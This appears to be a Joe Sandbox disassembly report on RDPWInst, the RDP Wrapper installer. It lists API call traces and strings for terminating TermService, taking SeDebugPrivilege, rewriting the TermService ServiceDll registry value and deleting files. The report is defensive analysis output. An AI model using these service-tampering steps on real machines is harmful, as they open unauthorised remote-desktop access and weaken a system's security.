Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLastOpenService$CloseHandleManager
String ID: $sD$...$ServicesActive$[*] Checking $[-] OpenSCManager error (code $[-] OpenService error (code $[-] QueryServiceConfig error (code $[-] QueryServiceConfig failed.
API String ID: 48634454-3812534468
Opcode ID: 091b0035d6a152c75cbcb3aeab795098a1a073895450a053807206380d0ec52c
Instruction ID: 7a774fc46d996de6837286bf894840c9c95f128f26b1d3a09438fbe6509dfab0
Opcode Fuzzy Hash: 091b0035d6a152c75cbcb3aeab795098a1a073895450a053807206380d0ec52c
Instruction Fuzzy Hash: 41418FA4A08200AAD711F7B68C42A5F76A99F88308F11917BB514B6293CB3CAD01967F

Function 0043F7A4 Relevance: 22.7, APIs: 2, Strings: 13, Instructions: 229sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0043C45C: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

Part of subcall function 0043B7D4: OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000005,00000000,0043BC5D,?,?,?,00447324,00000000,00000000,?,00443F06,00000000,00443FB2), ref: 0043B801
Part of subcall function 0043B7D4: GetLastError.KERNEL32(00000000,ServicesActive,00000005,00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B80C
Part of subcall function 0043B7D4: EnumServicesStatusExW.ADVAPI32(00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B8A2
Part of subcall function 0043B7D4: GetLastError.KERNEL32(00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8AF
Part of subcall function 0043B7D4: CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,00000000,?,?,00000000,00000000), ref: 0043B8BF
Part of subcall function 0043B7D4: CloseServiceHandle.ADVAPI32(00000000,00000000,00000000,00000030,00000003,?,00000000,?,?,?,00000000), ref: 0043B99F

Part of subcall function 0043BF00: GetCurrentProcess.KERNEL32(00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF3D
Part of subcall function 0043BF00: OpenProcessToken.ADVAPI32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF43
Part of subcall function 0043BF00: GetLastError.KERNEL32(00000000,00000028,?,00000000,0043C09E,?,?,00447324), ref: 0043BF4C

Part of subcall function 0043C1C8: OpenProcess.KERNEL32(00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1CF
Part of subcall function 0043C1C8: GetLastError.KERNEL32(00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043C1DA
Part of subcall function 0043C1C8: TerminateProcess.KERNEL32(00000000,00000000,00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008,00000000), ref: 0043C219
Part of subcall function 0043C1C8: CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C223
Part of subcall function 0043C1C8: GetLastError.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C228
Part of subcall function 0043C1C8: CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000D10,?,00447324,00443F30,00000000,00443FB2,?,?,?,?,00000008), ref: 0043C265

Sleep.KERNEL32(000003E8,?,?,00000000,0043FAEE,?,?,?,00447324), ref: 0043F9CC
Sleep.KERNEL32(000001F4,000003E8,?,?,00000000,0043FAEE,?,?,?,00447324), ref: 0043FA09

Part of subcall function 0043B58C: OpenSCManagerW.ADVAPI32(00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5EA
Part of subcall function 0043B58C: GetLastError.KERNEL32(?,00000000,ServicesActive,00000001,00000000,0043B6CE,?,00000000), ref: 0043B5F9

Strings

$sD, xrefs: 0043F86A, 0043F895, 0043F92B, 0043F952, 0043F97C, 0043F99A, 0043FA8A, 0043FAA5
[-] Failed to download latest INI from GitHub., xrefs: 0043F89A
[*] Your INI file is newer than public file. Are you a developer? :), xrefs: 0043FAAA
TermService, xrefs: 0043FA80
[*] Terminating service..., xrefs: 0043F99F
[+] New update is available, updating..., xrefs: 0043F981
SeDebugPrivilege, xrefs: 0043F9B3
rdpwrap.ini, xrefs: 0043F7ED
[*] Current update date: , xrefs: 0043F86F
[*] Everything is up to date., xrefs: 0043F957
[+] Update completed., xrefs: 0043FA8F
%d.%.2d.%.2d, xrefs: 0043F85C, 0043F91D
[*] Latest update date: , xrefs: 0043F930

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ErrorLast$CloseHandleOpenProcess$ManagerServiceSleep$CurrentEnumEnvironmentExpandServicesStatusStringsTerminateToken
String ID: $sD$%d.%.2d.%.2d$SeDebugPrivilege$TermService$[*] Current update date: $[*] Everything is up to date.$[*] Latest update date: $[*] Terminating service...$[*] Your INI file is newer than public file. Are you a developer? :)$[+] New update is available, updating...$[+] Update completed.$[-] Failed to download latest INI from GitHub.$rdpwrap.ini
API String ID: 3534747103-2332903941
Opcode ID: 5622ae87d0b029e3d159e39c34d23c7b577837b013ae26526cbfe9c4d1771b2e
Instruction ID: 35adde3c6c2359a68fd4b220f91aa0339034fd12c6c7055d874297ef65b27e77
Opcode Fuzzy Hash: 5622ae87d0b029e3d159e39c34d23c7b577837b013ae26526cbfe9c4d1771b2e
Instruction Fuzzy Hash: D5813074E042099BDB04FBA9D48169DB7B1EF8D308F51507AF504F7392DB38AD058B6A

Function 0043D938 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 141fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0043C45C: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000200,00000000,0043C52D,?,00447324,?,0043F7DC,00000000,0043FAEE,?,?,?,00447324), ref: 0043C4F1

DeleteFileW.KERNEL32(00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0,000003E8), ref: 0043D985
GetLastError.KERNEL32(00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0,000003E8), ref: 0043D98E
DeleteFileW.KERNEL32(00000000,00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0), ref: 0043DA04
GetLastError.KERNEL32(00000000,00000000,00000000,0043DB1F,?,00447324,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00443DA0), ref: 0043DA0D

Strings

$sD, xrefs: 0043D99B, 0043D9C8, 0043DA1A, 0043DA47, 0043DA9F, 0043DAE5
[-] DeleteFile error (code , xrefs: 0043D9A0, 0043DA1F
rdpwrap.ini, xrefs: 0043D96F, 0043D9DB
[+] Removed file: , xrefs: 0043D9CD, 0043DA4C
[-] RemoveDirectory error (code , xrefs: 0043DAA4
[+] Removed folder: , xrefs: 0043DAEA

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast$EnvironmentExpandStrings
String ID: $sD$[+] Removed file: $[+] Removed folder: $[-] DeleteFile error (code $[-] RemoveDirectory error (code $rdpwrap.ini
API String ID: 1427661212-4281953003
Opcode ID: 956330302bce8ffae5f1d8e764e19dadb3842e9c2b8f573e08a3f0797d5542d8
Instruction ID: ad05ad182a3b94ca814d20fd028ad2e32e4b81082960bb03fd6afff070a44f54
Opcode Fuzzy Hash: 956330302bce8ffae5f1d8e764e19dadb3842e9c2b8f573e08a3f0797d5542d8
Instruction Fuzzy Hash: 31414F74A042049BDB00F7B6D94286EB375AF8D308F52813BF500B7697DA3CBD059A6E

Function 0041344C Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 97filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0041325C: VirtualQuery.KERNEL32(?,?,0000001C,00000000,00413408), ref: 0041328F
Part of subcall function 0041325C: GetModuleFileNameW.KERNEL32(?,?,00000105), ref: 004132B3
Part of subcall function 0041325C: GetModuleFileNameW.KERNEL32(00400000,?,00000105), ref: 004132CE
Part of subcall function 0041325C: LoadStringW.USER32(00000000,0000FFE5,?,00000100), ref: 00413369

WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,00000000,00000000,00000000,00000000,00000400,00000000,00413571), ref: 004134AD
WideCharToMultiByte.KERNEL32(00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134E0
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134F2
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?,00000000,00000000,00000000), ref: 004134F8
GetStdHandle.KERNEL32(000000F4,0041358C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000,?), ref: 0041350C
WriteFile.KERNEL32(00000000,000000F4,0041358C,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,00000001,00000000,?,00000000), ref: 00413512
LoadStringW.USER32(00000000,0000FFE6,?,00000040), ref: 00413536
MessageBoxW.USER32(00000000,?,?,00002010), ref: 00413550

Strings

$sD, xrefs: 0041348A
LpD, xrefs: 0041347C
(4A, xrefs: 004134BD, 00413565

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: File$ByteCharHandleLoadModuleMultiNameStringWideWrite$MessageQueryVirtual
String ID: $sD$(4A$LpD
API String ID: 135118572-2961882766
Opcode ID: b1b80ecb5956461e4b881ed504ca6201c56dd4012f9b0e7eae4b86507d2a61a1
Instruction ID: ef224b53181cf2408eecbf6e4a49f74db113686e973540ee16aa2e1e81a8a81f
Opcode Fuzzy Hash: b1b80ecb5956461e4b881ed504ca6201c56dd4012f9b0e7eae4b86507d2a61a1
Instruction Fuzzy Hash: E4315E71640204BEE710EBA5DC82FDA73BDEB05B05F50417AB604F61D1DE78AE808B69

Function 00409E82 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 183libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 00409F3F
GetLastError.KERNEL32(?), ref: 00409F4A
RaiseException.KERNEL32(C0FB007E,00000000,00000001,?), ref: 00409F80
EnterCriticalSection.KERNEL32(00449C1C), ref: 00409F92
FreeLibrary.KERNEL32(?,00449C1C), ref: 00409FAA
LeaveCriticalSection.KERNEL32(00449C1C,?,00449C1C), ref: 00409FB7
GetProcAddress.KERNEL32(?,?), ref: 0040A026
GetLastError.KERNEL32 ref: 0040A031
RaiseException.KERNEL32(C0FB007F,00000000,00000001,?), ref: 0040A067

Part of subcall function 00409D9C: LocalAlloc.KERNEL32(00000040,00000008), ref: 00409DA8
Part of subcall function 00409D9C: RaiseException.KERNEL32(C0FB0008,00000000,00000001,?,00000040,00000008), ref: 00409DBD

Strings

$, xrefs: 00409E9E

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ExceptionRaise$CriticalErrorLastLibrarySection$AddressAllocEnterFreeLeaveLoadLocalProc
String ID: $
API String ID: 4255670546-3993045852
Opcode ID: 08a0a7318c753487ffaddfe208f10df44aed4acf1db62cc8abab006cc3ed4991
Instruction ID: e7bef61209e92d946731ec4a4071e7a79c0b4aa0f4738c46576ebf8cfa3b661b
Opcode Fuzzy Hash: 08a0a7318c753487ffaddfe208f10df44aed4acf1db62cc8abab006cc3ed4991
Instruction Fuzzy Hash: EE618D7590070AAFDB21DFA5D885BAFB3B4AF48314F14803AE504B62D2D7789D44CB59

Function 00403B64 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 277windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,004026E0,00002010), ref: 00403F39

Strings

$zD, xrefs: 00403BB6
l&@, xrefs: 00403EA7, 00403EB5
$zD, xrefs: 00403C43
7, xrefs: 00403CDC
&@, xrefs: 00403F2A
, xrefs: 00403E72
zPD, xrefs: 00403CE6
D&@, xrefs: 00403D42, 00403D50

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Message
String ID: $$zD$$zD$7$D&@$l&@$zPD$&@
API String ID: 2030045667-2939321579
Opcode ID: fc4d6aa325ebee328d8d0a4eacd8edc52d624fa8d19bb34694b2db134725d9d3
Instruction ID: 997706f527e00cc568bc624ae0a330c29571725258f71f9dd8560831bc4d878f
Opcode Fuzzy Hash: fc4d6aa325ebee328d8d0a4eacd8edc52d624fa8d19bb34694b2db134725d9d3
Instruction Fuzzy Hash: E5B1B434A042548FDB20DF2DC884B997BE8AB09745F1441FAE449F7382CB799E85CB59

Function 00415198 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 203threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,00415476,?,?,00000000,00000000), ref: 004151CE

Part of subcall function 00412C4C: GetLocaleInfoW.KERNEL32(?,?,?,00000100), ref: 00412C6A

Strings

AMPM , xrefs: 00415401
m/d/yy, xrefs: 004152A6
:mm, xrefs: 00415411
mmmm d, yyyy, xrefs: 004152D3
:mm:ss, xrefs: 0041542E
AMPM, xrefs: 004153F2

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: 4a29d05eb48406c99d8d70e3cc1c652b0ba952fed9bde6c231d4620e19fd4c29
Instruction ID: d9a4c13083f090c9220c38b115c8470d0dd0b24888f81dbd48f38483d2476b95
Opcode Fuzzy Hash: 4a29d05eb48406c99d8d70e3cc1c652b0ba952fed9bde6c231d4620e19fd4c29
Instruction Fuzzy Hash: C6717E34B005489BDB04EBA5C881BDF73A6DB88308F50843BB201EB39ADA3DDD95975C

Function 0041983C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 004198D5
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 004198F1
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 0041992A
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 004199A7
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 004199C0
VariantCopy.OLEAUT32(?), ref: 004199F5

Strings

, xrefs: 00419856

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-3916222277
Opcode ID: 73a745a2ba0fcdb29b417b5ebc4a60c480dc22ae13af212b94654390cab902c0
Instruction ID: 05f3e7187411a66581312748be8f4c599b64c7f757b61d9c7bcf5be2e84cfcbc
Opcode Fuzzy Hash: 73a745a2ba0fcdb29b417b5ebc4a60c480dc22ae13af212b94654390cab902c0
Instruction Fuzzy Hash: BB510E75A1061D9BCB62DB59CC91AD9B3BCAF0C314F0041DAE509D7311DA389FC18F69

Function 00406190 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283,00000000), ref: 004061C9
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C,00000000,00406336,0040A254,00000000,0040A283), ref: 004061CF
GetStdHandle.KERNEL32(000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000,00404C6C), ref: 004061E4
WriteFile.KERNEL32(00000000,000000F5,0040621C,00000002,0000D7B2,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,0000D7B2,00000000,?,00406241,?,00000000), ref: 004061EA
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 00406208

Strings

Runtime error at 00000000, xrefs: 004061C2, 00406201
Error, xrefs: 004061FC

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: c76f607bb4b5e88e0da518b266601389a2190e5d150480926aab9b651256bb34
Instruction ID: 3d9f27a079d1a1e85d20769b70378e11af8d5357eb747b9bac5a8d01f7cd0a80
Opcode Fuzzy Hash: c76f607bb4b5e88e0da518b266601389a2190e5d150480926aab9b651256bb34
Instruction Fuzzy Hash: F8F09064688700B9FA1077A09D8BF5A264C5741F18F648A7FBA107C0E3C7FC44C5D66E

Function 00403220 Relevance: 10.9, APIs: 7, Instructions: 407COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc7e807bea1f66438189088f752b6e292b8bc82f638beb9f71fc88f2eaf7a259
Instruction ID: cdb4153b94d32a19bbaa749183bbd41ea1cad44ce1b02117721c392bcbf59f8f
Opcode Fuzzy Hash: dc7e807bea1f66438189088f752b6e292b8bc82f638beb9f71fc88f2eaf7a259
Instruction Fuzzy Hash: AAC149627046001BE715AE7D9EC936E77899BC5326F18827FE504EB3C5DABCCE468348

Function 00408D70 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?), ref: 00408D8D
GetProcAddress.KERNEL32(?,GetLongPathNameW), ref: 00408DA4
lstrcpynW.KERNEL32(?,?,?), ref: 00408DD4
lstrcpynW.KERNEL32(?,?,?,kernel32.dll,?,?,?), ref: 00408E43

Strings

GetLongPathNameW, xrefs: 00408D9B
kernel32.dll, xrefs: 00408D88

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_RDPWInst.jbxd

Yara matches

Similarity

API ID: lstrcpyn$AddressHandleModuleProc
String ID: GetLongPathNameW$kernel32.dll
API String ID: 682285877-568771998
Opcode ID: b8455c5fe78c2c884a1c523d091bd77d655f60f97b2ecbe02dba18575876a37c
Instruction ID: bfed53c75bae09f5f3cffe8e2e1a10a808aab42f40121fe7fe66bb66f29727bd
Opcode Fuzzy Hash: b8455c5fe78c2c884a1c523d091bd77d655f60f97b2ecbe02dba18575876a37c
Instruction Fuzzy Hash: 65213E71D10219EBDB10DBE8CA85A9EB3F9AF04344F14457BA584F72C1EB789E408B99

Function 0043C9B4 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00447324,?,?,00443D51,00000000,00443FB2,?,?,?,?,00000008,00000000,00000000), ref: 0043CA09

Strings

$sD, xrefs: 0043CA16
ServiceDll, xrefs: 0043CA58
\SYSTEM\CurrentControlSet\Services\TermService\Parameters, xrefs: 0043C9F8
%SystemRoot%\System32\termsrv.dll, xrefs: 0043CA53
[-] OpenKey error (code , xrefs: 0043CA1B

Memory Dump Source

Source File: 00000008.00000002.1463971744.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1463939516.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464083615.0000000000445000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464106397.0000000000446000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.0000000000447000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464149900.000000000044B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464265690.000000000044D000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000008.00000002.1464282028.0000000000450000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

